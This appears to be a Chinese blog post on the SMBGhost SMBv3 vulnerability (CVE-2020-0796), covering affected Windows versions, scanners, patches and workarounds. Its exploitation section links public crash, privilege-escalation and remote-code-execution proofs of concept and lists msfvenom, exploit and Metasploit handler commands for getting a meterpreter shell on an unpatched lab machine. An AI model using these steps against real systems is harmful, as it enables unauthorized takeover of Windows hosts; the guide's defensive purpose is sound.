SMB漏洞修复

通告背景

2020年3月11日,某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述,其中谈到了一个威胁等级被标记为Critical的SMB服务远程代码执行漏洞(CVE-2020-0796),攻击者可以利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。此漏洞主要影响支持SMBv3.0的设备,理论上存在蠕虫化的可能性。

漏洞描述

漏洞存在于Windows的SMBv3.0(文件共享与打印服务)中,目前技术细节暂不公布,对于漏洞的利用无需用户验证,通过构造恶意请求即可触发导致任意代码执行,系统受到非授权控制。

影响面评估

此漏洞主要影响SMBv3.0协议,目前支持该协议的设备包括Windows 8、Windows 8.1、Windows 10、Windows Server 2012 和 Windows Server 2016,但是从微软的通告来看受影响目标主要是Win10系统,考虑到相关设备的数量级,潜在威胁较大。

受影响的Windows操作系统版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)


漏洞检测篇

git 脚本检测:

GitHub - ly4k/SMBGhost: Scanner for CVE-2020-0796 - SMBv3 RCE
检测返回的数据包中SMB压缩版本,这种检测方式打过补丁依然会误报。

python scanner.py <IP>

奇安信检测工具:

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
适用于局域网批量检测,快速查找未打补丁的机器。

腾讯电脑管家 SMB 漏洞修复工具:

http://dlied6.qq.com/invc/QQPatch/QuickFix_SMB0796.exe
适用于个人用户检测,一键快速检测和修复。

漏洞利用篇

蓝屏 PoC :

GitHub - eerykitty/CVE-2020-0796-PoC: PoC for triggering buffer overflow via CVE-2020-0796

使用两台虚拟机作为漏洞演示,一台win10 1903版本,一台是Kali Linux。

python3 CVE-2020-0796.py <IP>

本地提权 PoC :

GitHub - danigargu/CVE-2020-0796: CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost
本地普通用户Bypass执行提权exp后弹出cmd窗口,成功获取system权限。

远程利用 PoC :

GitHub - chompie1337/SMBGhost_RCE_PoC

漏洞演示过程:

1、使用msfvenom生成payload

msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o evil.py

2、将evil.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。

root@kali:~# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

3、运行exploit.py

python3 exploit.py -ip 192.168.172.128

4、启动msf监听本地端口(PS:监听端口如果一直收不到shell,可重新运行一次。)

msf5 > use exploit/multi/handler

修复方法

1. 补丁

微软已经发布了此漏洞的安全补丁,访问如下链接:
Security Update Guide - Microsoft Security Response Center

方法一:给对应的系统打微软出的最新补丁

系统类型 介绍 下载链接
Windows 10 Version 1903 for 32-bit Systems KB4551762介绍 下载
Windows 10 Version 1903 for ARM64-based Systems KB4551762介绍 下载
Windows 10 Version 1903 for x64-based Systems KB4551762介绍 下载
Windows 10 Version 1909 for 32-bit Systems KB4551762介绍 下载
Windows 10 Version 1909 for ARM64-based Systems KB4551762介绍 下载
Windows 10 Version 1909 for x64-based Systems KB4551762介绍 下载
Windows Server, version 1903 (Server Core installation) KB4551762介绍 下载
Windows Server, version 1909 (Server Core installation) KB4551762介绍 下载

2. 临时解决方案

如果暂时无法安装补丁,微软当前建议按如下临时解决方案处理:

方法二: 禁用SMBv3 压缩
禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。
使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
用户可通过以下PowerShell命令撤销禁用压缩功能
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force
注:利用以上命令进行更改后,无需重启即可生效;该方法仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。

方法三:设置防火墙策略关闭相关端口
SMB的TCP 445端口
NetBIOS名称解析的UDP 137端口
NetBIOS数据图服务的UDP 138端口
NetBIOS会话服务的TCP 139端口

方法四:通过 IP 安全策略屏蔽危险端口, bat 执行添加防火墙策略,关闭危险服务
您浏览的页面不存在,请检查页面地址是否正确!

修复

微软目前给出变通方法:禁用SMBv3的压缩功能或在防火墙禁止445端口

PowerShell禁用SMBv3压缩功能:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

PowerShell重新启用SMBv3压缩功能:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force

相关推荐
律宏阔2 小时前
WSL Docker 端口明明空闲,但就是绑不上端口
linux·windows
律宏阔2 小时前
Windows 禁用联想笔记本所有 Lenovo 后台服务
windows
律宏阔2 小时前
WSL 突然断网,无法 ping 内网或外网
linux·windows
百万蹄蹄向前冲3 小时前
双端同步!云服务器装最新Node.js v26.10全过程追踪
服务器·人工智能·node.js
小羊没烦恼!6 天前
初探性能优化——2个月到4小时的性能提升
java·开发语言·windows·算法·c#
rockmelodies6 天前
# Windows Server2008 R2 Standard(SP1镜像U盘)重置本地管理员密码【完整详细步骤】
windows·密码破解
虎头金猫6 天前
4K 视频总卡在公网带宽?用 N1 + OpenList 把网盘播放链路重新理顺
运维·服务器·网络·python·容器·beautifulsoup·pandas
wuyk5556 天前
《WiFi 嵌入式物联网开发全套实战》| 第 16 章 ESP32 AP+STA 双模共存原理与工程坑点
网络·stm32·物联网
-梅6 天前
linux(8) 软硬链接
linux·运维·服务器
Wang's Blog6 天前
Java 项目实战: 外卖平台-文件下载与ServletOutputStream回写浏览器
服务器·项目开发